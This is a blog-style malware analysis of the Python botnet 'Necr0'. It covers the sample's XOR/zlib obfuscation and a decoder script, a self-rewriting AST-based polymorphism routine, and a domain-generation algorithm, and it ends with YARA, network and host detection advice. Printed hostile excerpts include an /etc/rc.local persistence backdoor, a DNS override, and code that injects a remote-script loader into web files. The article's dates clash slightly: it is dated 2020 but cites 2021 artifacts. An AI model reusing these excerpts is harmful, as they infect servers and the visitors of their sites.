Technical Analysis Of The Necr0 Python Malware


Malware-Analysis / April 20, 2020 • 11 min read

Tags: python malware


I recently got a hold of a malware sample written in python that dropped crypto currency miners, among other things. It was built with Python2.7 and was heavily obfuscated. I decided to analyse it and try to break it apart to understand it better and its capabilities.

In this article, I will show some parts of the malware and explain its purpose. I will also provide some detection techniques for detecting this specific malware.

Variables and method names have been changed to make more sense for the reader. Code snippets have been shortened for the sake of brevity.

Defeating obfuscation

Before analysing the malware, I wanted to try to remove as much obfuscation as possible without manually editing the code. I created a script that transformed the following obfuscated code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
    def aTJLaPaEfTy(self):
        try:
            waibPgcEvaVW=open(EcvPaTMdf(zlib.decompress("\x78\x9c\xfb\x1d\x54\x25\xe5\xd4\x2a\xa4\xff\xdd\xed\xe6\xee\xa0\xb9\xae\x0a\x00\x3d\xde\x07\x0f")), "w")
            waibPgcEvaVW.write(EcvPaTMdf(zlib.decompress("\x78\x9c\xdb\x15\x96\x2c\x23\x37\x89\x55\xeb\x6f\x44\xff\x12\xf9\xc3\xac\xe5\x57\x4e\xfa\xed\x42\x16\x3a\xc4\x5a\x06\x14\x02\x00\x35\x84\x10\x7d")))
            waibPgcEvaVW.close()
            rc=open(EcvPaTMdf(zlib.decompress("\x78\x9c\xfb\x1d\x54\x25\xe5\xd4\x2a\x52\xf4\xc5\xf5\xcc\x97\x58\x00\x2b\x19\x06\x85")),"rb")
            data=rc.read()
            rc.close()
            if EcvPaTMdf(zlib.decompress("\x78\x9c\xdb\x16\x91\xc8\x0b\x00\x04\xb3\x01\x7d")) not in data:
                with open(LEhPiouaoL, 'rb') as ihzgdpAh, open(EcvPaTMdf(zlib.decompress("\x78\x9c\xfb\x1d\x54\x25\xe5\x34\x55\xc2\xf8\x0d\x00\x14\x96\x03\xf0")), 'wb') as awhadRloi:
                    while True:
                        BCToiLPREy = ihzgdpAh.read(1024*1024)
                        if not BCToiLPREy:
                            break
                        awhadRloi.write(BCToiLPREy)
                os.chmod(EcvPaTMdf(zlib.decompress("\x78\x9c\xfb\x1d\x54\x25\xe5\x34\x55\xc2\xf8\x0d\x00\x14\x96\x03\xf0")), 777)
                rc=open(EcvPaTMdf(zlib.decompress("\x78\x9c\xfb\x1d\x54\x25\xe5\xd4\x2a\x52\xf4\xc5\xf5\xcc\x97\x58\x00\x2b\x19\x06\x85")),"wb")
                if EcvPaTMdf(zlib.decompress("\x78\x9c\xdb\xe8\x9f\xce\x0b\x00\x04\x90\x01\x75")) in data:
                    rc.write(data.replace(EcvPaTMdf(zlib.decompress("\x78\x9c\xdb\xe8\x9f\xce\x0b\x00\x04\x90\x01\x75")), EcvPaTMdf(zlib.decompress("\x78\x9c\xfb\x1d\x54\x25\xe5\x34\x55\xc2\xf8\x8d\xc2\xa9\xb7\x11\x6d\x00\x30\x0b\x06\xa5"))))
                else:
                    rc.write(EcvPaTMdf(zlib.decompress("\x78\x9c\xbb\x27\x91\xcd\xcb\x77\x43\xd4\xf8\x7b\x1c\x00\x15\x06\x03\xf2")))    
                rc.close()
        except:
            pass

Into a much more readable version:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def HYZwyjaoSAo(self):
    try:
        EuwdcwhxZEy=open("/etc/resolv.conf", "w")
        EuwdcwhxZEy.write("nameserver 1.1.1.1 \\ nameserver 1.0.0.1")
        EuwdcwhxZEy.close()
        rc=open("/etc/rc.local","rb")
        data=rc.read()
        rc.close()
        if "boot" not in data:
            with open(currentExecFile, 'rb') as ofuhaBwXIc, open("/etc/boot", 'wb') as nFnawMFdkiMV:
                while True:
                    ooihBBfeps = ofuhaBwXIc.read(1024*1024)
                    if not ooihBBfeps:
                        break
                    nFnawMFdkiMV.write(ooihBBfeps)
            os.chmod("/etc/boot", 777)
            rc=open("/etc/rc.local","wb")
            if "exit" in data:
                rc.write(data.replace("exit", "/etc/boot \\ exit"))
            else:
                rc.write("/etc/boot")
            rc.close()
    except:
        pass

This is possible because we know the obfuscation algorithm, which looks like this:

1
2
3
def EcvPaTMdf(s):
    bhhSOgogRj = [212, 55, 14, 121, 109, 247, 119, 92, 152, 42, 175, 149, 49, 242, 43, 70, 250, 248, 68]
    return ''.join([chr(ord(c) ^ bhhSOgogRj[i % len(bhhSOgogRj)]) for i, c in enumerate(s)])

The variable bhhSOgogRj contains the secret key used XOR characters. Armed with this knowledge, we can build a decoder script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python3

import re
import zlib

def decode(s):
    bhhSOgogRj = [212, 55, 14, 121, 109, 247, 119, 92, 152, 42, 175, 149, 49, 242, 43, 70, 250, 248, 68]
    return ''.join([chr(c ^ bhhSOgogRj[i % len(bhhSOgogRj)]) for i, c in enumerate(s)])

reg = re.compile("([A-Za-z]+\(zlib\.decompress\(\"([\\a-f0-9x]+)\"\)\))")

with open("benchmark.py", "r") as f:
    data = f.read()
    found = reg.findall(data)
    if found:
        for line in found:
            hex_value = line[1]
            full_string = line[0]
            hx = hex_value.replace("\\x","")
            s = bytearray.fromhex(hx)
            y = zlib.decompress(s)
            try:
                a = data.replace(full_string, f"\"{decode(y)}\"")
                data = a
            except Exception:
                print("error")
                continue
    
    with open("deobfuscated.py", "w") as o:
        o.write(data)

Now I can begin analysing the malware.

First steps

1
2
3
if forkSuccessful():
    writePID(".pidw")
    nPhcxQhVzd()

Immediately when the program starts, it tries to fork itself into a new process. If return 0 is executed, the malware will not run.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
def forkSuccessful():
    try:
        pid = os.fork()
        if pid > 0:
            sys.exit(0)
    except OSError:
        return 0
    os.setsid()
    os.umask(0)
    try:
        pid = os.fork()
        if pid > 0:
            sys.exit(0)
    except OSError:
        return 0
    return 1

Next step, it writes its PID to disk, but first it checks if the file .pidw exists, if it does, it will open the file and read the PID inside it and kill the process. Then it will write the new PID. This is most likely to ensure that only one copy of the malware is running at any given time.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
def iseSURJTiXTid(duLZajeLU):
    try:
        os.kill(duLZajeLU, 0)
    except OSError:
        return
    else:
        return duLZajeLU

def writePID(pidFilePath):
    if os.path.exists(pidFilePath):
        try:
            if iseSURJTiXTid(int(open(pidFilePath).read())):
                os.kill(os.getpid(),9)
            else:
                os.remove(pidFilePath)
        except:
            try:
                os.remove(pidFilePath)
            except:
                pass
    open(pidFilePath, 'w').write(str(os.getpid()))
    return pidFilePath

Now it’s time for running the actual malware! The method below wraps the execution of the class qRuFGkSs() inside a while loop and a try/catch statement. Probably to ignore any errors that arises during runtime and keep on running.

1
2
3
4
5
6
def nPhcxQhVzd():
    while 1:
        try:
            qRuFGkSs()
        except:
            pass

Polymorphism

Once the class qRuFGkSs() executes, its __init()__ function (the constructor) will be executed first. The first thing it does is to set STDOUT and STDERR to /dev/null, meaning any (error) output will not be printed to screen.

The next function, which I call repackProgram(), is actually the most interesting function in this malware. Because it changes the malware in such a way that every time it executes it will appear as a new program.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def __init__(self):
    sys.stdout = sys.stderr = open(os.devnull,'wb')
    self.repackProgram()
    self.ctx = ssl.create_default_context()
    self.ctx.check_hostname = False
    self.ctx.verify_mode = ssl.CERT_NONE
    self.VwkBkdwM=self.bxsHTdxPUds(random.randrange(8,16))
    self.gLsaWmlh=0
    self.XUbvPqib=0
    self.VSoeKsdv=0
    self.AELmEnMe=0
    self.prefiex="."
    self.EQGAKLwR=443
    self.runExploitsstats={"gaybots":[0,0]}
    self.scannerenabled = 1
    self.snifferenabled = 0
    self.scanips=[]
    threading.Thread(target=self.searchFileTypes).start()
    threading.Thread(target=self.UlmSHpooaCdc).start()
    self.ircVictimNick="[HAX|"+platform.system()+"|"+platform.machine()+"|"+str(multiprocessing.cpu_count())+"]"+str(self.VwkBkdwM)
    self.aRHRPteL="[HAX|"+platform.system()+"|"+platform.machine()+"|"+str(multiprocessing.cpu_count())+"]"+str(self.VwkBkdwM)
    self.pBYbuWVq=str(self.VwkBkdwM)
    [...]

The ability to change the code but retain the same functionality is called polymorphism.

The way this malware achieves this is to open itself, parse the code using the AST module and traverse the tree while modifying function names and variables. This means that every time this method is called, the malware will modify all functions and variables so it will look different. This defeats traditional signature based detections. Once that’s done, it will write the result to itself, meaning it will overwrite the previous version.

The backdoor

To achieve persistence, the malware will try to backdoor /etc/rc.local with a reference to /etc/boot which will contain a copy of the malware. However, this will only work if the user executing the malware has root privileges.

It also tries to set the preferred DNS server to 1.1.1.1 and 1.0.0.1, most likely to evade custom DNS filtering/monitoring.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def HYZwyjaoSAo(self):
    try:
        EuwdcwhxZEy=open("/etc/resolv.conf", "w")
        EuwdcwhxZEy.write("nameserver 1.1.1.1 \\ nameserver 1.0.0.1")
        EuwdcwhxZEy.close()
        rc=open("/etc/rc.local","rb")
        data=rc.read()
        rc.close()
        if "boot" not in data:
            with open(currentExecFile, 'rb') as ofuhaBwXIc, open("/etc/boot", 'wb') as nFnawMFdkiMV:
                while True:
                    ooihBBfeps = ofuhaBwXIc.read(1024*1024)
                    if not ooihBBfeps:
                        break
                    nFnawMFdkiMV.write(ooihBBfeps)
            os.chmod("/etc/boot", 777)
            rc=open("/etc/rc.local","wb")
            if "exit" in data:
                rc.write(data.replace("exit", "/etc/boot \\ exit"))
            else:
                rc.write("/etc/boot")
            rc.close()
    except:
        pass

Infecting HTML files

1
2
threading.Thread(target=self.searchFileTypes).start()
threading.Thread(target=self.UlmSHpooaCdc).start()

The malware will also try to infect web files by injecting javascript code that will load an external malicious javascript file.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
def backdoorFile(self, filenameToBackdoor):
    [...]
    kIWvKBVJjU = b64encode("//" + self.AnKeMnXc + "/campaign.js")
    ZEaXidosaG="(function(" + WiQOnadIBNQ + ", " + BHgYdESOTTaQ + ") {" + BHgYdESOTTaQ + " = " + WiQOnadIBNQ + ".createElement('script');" + BHgYdESOTTaQ + ".type = 'text/javascript';" + BHgYdESOTTaQ + ".async = true;" + BHgYdESOTTaQ + ".src = atob('"v+ aNDQdUzzdyS + kIWvKBVJjU + aNDQdUzzdyS + "'.replace(/" + aNDQdUzzdyS + "/gi, '')) + '?' + String(Math.random()).replace('0.','');" + WiQOnadIBNQ + ".getElementsByTagName('body')[0].appendChild(" + BHgYdESOTTaQ + ");}(document));"
    [...]


def searchFileTypes(self):
    """
        Search for .js, .html and .php files
    """
    self.AkvElneS=0
    for zSPEvwUiRiDk in [ele for ele in os.listdir("/") if ele not in ["proc", "bin", "sbin", "sbin", "dev", "lib", "lib64", "lost+found", "sys", "boot", "etc"]]:
        for WlaGLQjJC in ["*.js", "*.html", "*.htm", "*.php"]:
            for filenameToBackdoor in os.popen("find \"/" + zSPEvwUiRiDk + "\" -type f -name \"" + WlaGLQjJC + "\"").read().split("\n"):
                filenameToBackdoor = filenameToBackdoor.replace("\r", "").replace("\n", "")
                if "node" not in filenameToBackdoor and 'lib' not in filenameToBackdoor and "npm" not in filenameToBackdoor and filenameToBackdoor != "":
                    self.backdoorFile(filenameToBackdoor)

We did not identify the external malicious javascript file because its domain seems to be loaded during runtime by the command and control server.

Domain Algorithm Generator

To combat C2 takedowns, the malware includes a domain algorithm generator (DAG) which dynamically and deterministically computes the C2 address. If one domain gets taken down, the malware operator can just activate the next domain. The upside is that malware analysts can discover these methods and compute the same domain list and start blocking domains.

The following shows the DAG:

1
2
3
4
5
6
7
8
def bxsHTdxPUds(integer16):
    return ''.join(random.choice("abcdefghijklmnopqoasadihcouvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ") for _ in range(integer16))

def ZzoOnYUl(integerBetween0And4096):
    # Make sure to run this with python2
    # python3 "random.seed()" will generate differently
    random.seed(a=5236442+integerBetween0And4096)
    return bxsHTdxPUds(16)+".xyz"

This will deterministically generate 4096 domains:

avEiXUcYimXwcMph.xyz
aoRmVwOaTOGgYqbk.xyz
MasEdcNVYwedJwVd.xyz
suBYdZaoqwveKRlQ.xyz
ZNHfaHSaxpBSfJdi.xyz
EJzkiGWBTnLGdASR.xyz
nCBOoENvcXDGKqoX.xyz
[...]

The full list of domains can be found here.

Mass Exploitation

Next the malware will try to start CPU_COUNT * 10 number of threads running a method that will generate random IPs which it then will try to attack, using a predefined list of exploit payloads.

1
2
3
4
5
6
for _ in range(multiprocessing.cpu_count() * 10):
    try:
        threading.Thread(target=self.hlUmvujv).start()
    except:
        pass
self.sfAxqaAqh() <--- Try running this?? 

The malware will try to exploit the following vulnerabilities.

I was surprised by this design because how likely is it that a randomly generated IP is running one or more vulnerable services? Apparently enough.

Command and Control

After executing the exploitation phase, the malware will connect to the IRC command and control server using SSL/TLS. Once connected, the host will become a zombie, part of the global botnet.

The malware includes a hardcoded x.509 certificate and corresponding private key. These files are dropped on the system and used for communicating with the C2.

Version:          3 (0x02)
Serial number:    79074883743393278476520399280442039870974936087 (0x0dd9d725d4aa0e43fae64f68887d3a6aa6c54417)
Algorithm ID:     SHA256withRSA
Validity
  Not Before:     16/01/2021 22:10:18 (dd-mm-yyyy hh:mm:ss) (210116221018Z)
  Not After:      16/01/2022 22:10:18 (dd-mm-yyyy hh:mm:ss) (220116221018Z)
Issuer
  C  = 00
  ST = -
  L  = your box
  O  = Kek Security
  OU = Operations
  CN = netloader.kek.org
  E  = freakanon@riseup.net
Subject
  C  = 00
  ST = -
  L  = your box
  O  = Kek Security
  OU = Operations
  CN = netloader.kek.org
  E  = freakanon@riseup.net
Public Key
  Algorithm:      RSA
  Length:         2048 bits
  Modulus:        a9:25:7c:da:cb:f9:38:0c:82:90:82:99:0a:f9:2a:f2:
                  4b:3c:38:95:29:4e:7c:1f:fe:5d:7e:b6:45:1b:89:ec:
                  2b:b2:75:d3:1e:ec:c0:4f:ae:08:24:b7:f8:fe:07:86:
                  8e:44:6f:10:c2:b4:4b:43:b4:91:c3:93:c7:73:36:a3:
                  04:12:ed:ee:14:47:b9:b9:69:6d:11:1e:a2:d5:54:e2:
                  19:42:cf:bd:30:3d:d1:9a:e9:df:33:6f:0b:22:0f:d4:
                  4a:e6:49:ba:29:1e:6a:7f:4a:20:81:60:f6:ed:9e:9c:
                  2b:01:29:51:a4:5c:09:ad:d6:70:57:04:6c:62:97:7f:
                  ca:80:b0:5d:ce:e5:ef:d1:4c:6b:7c:e7:9d:34:99:0b:
                  d0:0e:25:5e:e1:fb:e6:a0:82:6e:4b:a1:3d:54:0e:8c:
                  f3:c5:9a:e4:e0:0d:3b:1f:4e:56:28:ec:0a:ee:75:e3:
                  ed:ba:42:a9:23:25:5e:07:26:b6:a2:02:ea:01:83:2f:
                  3d:22:1b:ec:6c:68:8a:b2:f6:39:0e:bf:91:56:a3:ef:
                  2c:bc:61:92:06:cc:44:a6:ce:0f:7d:6e:13:2f:51:78:
                  9c:b8:f3:fb:39:18:6c:ba:ef:cc:79:65:5e:4a:94:0b:
                  3f:35:f6:4f:dc:a7:21:49:fa:dc:cb:61:8b:aa:35:a7
  Exponent:       65537 (0x10001)
Certificate Signature
  Algorithm:      SHA256withRSA
  Signature:      24:9b:02:8c:a0:e3:31:4a:4a:6f:f4:7e:58:fd:f6:aa:
                  2d:3f:de:ee:40:86:7f:5b:c3:4d:12:ae:90:1e:7a:06:
                  41:e1:b6:f4:d3:d3:44:a1:c3:b7:df:49:eb:3e:d8:b7:
                  82:3d:43:b7:4c:0b:12:6d:51:a6:2c:44:13:00:9a:a6:
                  86:a6:26:4a:70:5a:f6:ca:6d:9f:91:df:62:69:fe:3f:
                  5e:44:96:a1:c2:e6:d8:69:59:f6:f5:2f:64:d2:47:db:
                  ba:d6:e0:fb:ee:0b:17:2b:29:eb:66:30:0f:fc:26:54:
                  64:84:89:3c:61:a3:2e:c9:66:d2:74:03:fd:9c:13:5d:
                  17:16:2f:b0:56:9b:17:b1:1a:29:e9:84:01:22:48:22:
                  ec:03:f7:7a:0a:79:85:2d:e5:f3:0c:9c:a0:1d:e5:94:
                  62:15:fa:8e:76:49:ce:4e:9e:e6:ff:fb:b6:d0:8f:67:
                  5f:aa:d5:ec:de:18:d3:f9:53:af:90:ea:2f:73:84:e2:
                  4c:4b:c5:95:5f:11:c9:fd:24:c3:9c:b0:87:b0:e7:52:
                  6d:da:6b:bf:0e:e2:a9:ef:54:f3:30:e5:12:7c:69:cf:
                  6c:b9:ee:b7:55:91:5c:65:9b:00:17:89:5d:cb:6a:1a:
                  48:51:28:3f:70:46:f5:2c:27:39:b0:d5:91:e6:7d:f5

Extensions
  subjectKeyIdentifier :
    1b0b5e59d8903ed7a24920ea608b36712e744d37
  authorityKeyIdentifier :
    kid=1b0b5e59d8903ed7a24920ea608b36712e744d37
  basicConstraints CRITICAL:
    cA=true

Once connection has been established, an infected host will identify itself as:

1
self.ircVictimNick="[HAX|"+platform.system()+"|"+platform.machine()+"|"+str(multiprocessing.cpu_count())+"]"+str(self.randomString)

Channel names and passwords seems to dynamically loaded when the malware first connects to the C2 server. Because the C2 server is not responding at the moment, we can not extract this information.

Once the infected host is part of the botnet, it is ready to receive commands. The following is a list of commands that the malware accepts:

  • logout
  • udpflood
  • synflood
  • tcpflood
  • slowloris
  • httpflood
  • loadamp
  • reconnect
  • reflect
  • addport (add additional ports to scan)
  • delport (remove ports to scan)
  • ports (show which ports currently being scanned)
  • injectcount (how many files have been infected)
  • reinject (reinfect files)
  • scanner
  • sniffer (perform man in the middle attack using ARP poisoning)
  • scannetrange
  • scanstats
  • clearscan
  • revshell
  • shell
  • download
  • killnight (terminate the program)
  • execute
  • killbyname
  • killbypid
  • disable (disable scans and attacks)
  • getip
  • ram
  • updatecmd
  • info
  • repack (re-polymorph)

The malware does provide a lot of functionality. The most interesting part is the fact that it includes a man-in-the-middle sniffer. The sniffed packets would be sent back to the C2 server.

Detections

Below are a few detection techniques that can be used to detect this malware in a network or on a computer.

Yara

This yara rule will match the encoded SSL certificate embedded in the program as well as they XOR key found in this sample. Some samples may have a differet XOR key however.

rule necr0Malware
{

    meta:
        author = "KITS"
        description = "Detect necr0/Freak/Keksec python malware."
        last_modified = "2021-02-18"
        reference_url1 = "https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/"
        reference_url2 = "https://blog.netlab.360.com/necro/"

    strings:
        $hex_string = "\x78\x9c\x01\x4a\x00\xb5\xff\x99\x58\x74\x10\x01\x9b\x16\x73\xad\x04\x9f\xb5\x19"
        $xor_key_string = "212, 55, 14, 121, 109, 247, 119, 92, 152, 42, 175, 149, 49, 242, 43, 70, 250, 248, 68"

    condition:
        any of them 
}

Network

Assuming you log and store SSL/TLS metadata, search for connections containing the following data:

Subject
  C  = 00
  ST = -
  L  = your box
  O  = Kek Security
  OU = Operations
  CN = netloader.kek.org
  E  = freakanon@riseup.net

You also check if there exists any DNS lookups to any domains found in this list.

OS

These are some steps you can take to ensure that you have not been infected.

  • Any modifications to /etc/rc.local should be investigated.
  • Has your name servers been changed? Check /etc/resolv.conf
  • If /etc/boot exists, verify it is not malware

Conclusion

This was an interesting sample to analyse, both from a developer- and security perspective. The developer of this malware wraps almost everything in try/catch statements and depends on Python2 to be installed, which is end of life. The number of infected hosts would probably be higher if the author supported both Python 2 and version 3. The polymorphic engine was clever, we’ll probably see more of this in python malware in the feature.

From a security perspective, the malware is not advanced. It seems more like a hit n’ run malware which you use to drop cryptocurrency miners or use to DDOS online services. The malware tries to achieve persistence by infecting files in /etc/, but this will only work if the user running the malware is root. In monitored environments, the malware is quite noisy as well. Using IRC as CnC would most likely light up as a Christmas tree if such traffic is not common. Also, trying to hijack /etc/rc.local would also trigger some alarms. Yet, this malware has had great success. The reason for this is that it has managed to infect a lot of non-monitored systems hosting out-dated software.

A full technical report of this malware family can also be found at CheckPoint Research and https://blog.netlab.360.com/necro/.

EOF.